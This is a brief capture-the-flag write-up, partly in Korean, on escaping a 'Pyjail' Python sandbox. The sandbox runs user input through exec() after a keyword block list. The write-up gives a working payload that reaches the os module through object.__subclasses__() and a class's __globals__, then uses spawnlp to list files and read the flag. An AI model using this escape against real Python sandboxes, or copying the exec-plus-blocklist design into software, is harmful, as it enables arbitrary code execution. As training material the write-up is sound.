Pyjail★★★★★★
Jailbreaker of Python
id: jail passwd: jail
use /tmp if you need.
#!/usr/bin/env python3
''' Your job is escape this program and get /bin/sh '''
def main():
print("Hi! Welcome to pyjail!")
print("========================================================================")
print(open(__file__).read())
print("========================================================================")
print("good luck.")
data = input('> ')
for keyword in ['import', 'os', 'system', 'open', 'read', 'write', 'eval', 'exec']:
if keyword in data:
print("No hack")
return;
else:
exec(data)
if __name__ == "__main__":
main()
먼저 사용할 수 없는 키워드들이 많다.
그래서 우회하여 os.spawnlp
를 사용하기로 했다.
StreamReaderWriter
클래스를 이용하여 sys
모듈을 구해오고 거기서 os
모듈을 통해 spawnlp
를 실행시킨다.
o = {x.__name__:x for x in object.__subclasses__()}['StreamReaderWriter'].__init__.__globals__['sys'].modules['o'+'s']
o.spawnlp(o.P_WAIT, 'ls', 'ls', '-alR', './')
./answer_is_in_here/this_is_answer_for_U 가 Flag파일로 예상되어 cat으로 읽어보았다.